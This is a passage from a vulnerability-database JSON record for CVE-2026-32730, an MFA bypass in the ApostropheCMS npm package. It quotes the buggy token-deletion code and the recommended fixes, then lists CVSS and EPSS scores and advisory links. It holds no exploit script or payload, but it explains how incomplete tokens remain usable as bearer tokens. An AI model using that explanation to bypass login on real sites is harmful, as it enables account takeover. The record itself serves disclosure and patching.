`@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n _id: token.userId // BUG: should be token._id\n});\n```\n\nThe token's `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user's document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n { requirementsToVerify: { $exists: false } },\n { requirementsToVerify: { $size: 0 } } // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n _id: token._id // FIX: use the token's actual ID\n});\n```", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32730", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0013", "scoring_system": "epss", "scoring_elements": "0.32061", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32730" }, { "reference_url": "https://github.com/apostrophecms/apostrophe", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-19T16:12:00Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32730", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32730" }, { "reference_url": "https://github.com/advisories/GHSA-v9xm-ffx2-7h35", "reference_id": "GHSA-v9xm-ffx2-7h35", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-v9xm-ffx2-7h35" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/114002?format=api", "purl": "pkg:npm/apostrophe@4.28.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4twt-e5vw-m3em" }, { "vulnerability": "VCID-5tyh-bvgy-nuhe" }, { "vulnerability": "VCID-a7rh-r1sn-2udh" }, { "vulnerability": "VCID-ewtn-suju-dyeb" }, { "vulnerability": "VCID-h7q4-v6us-9ye4" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.28.0" } ], "aliases": [ "CVE-2026-32730", "GHSA-v9xm-ffx2-7h35" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-tm23-2xhx-87hc" } ], "fixing_vulnerabilities": [], "risk_score": "3.1", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@0.5.96" }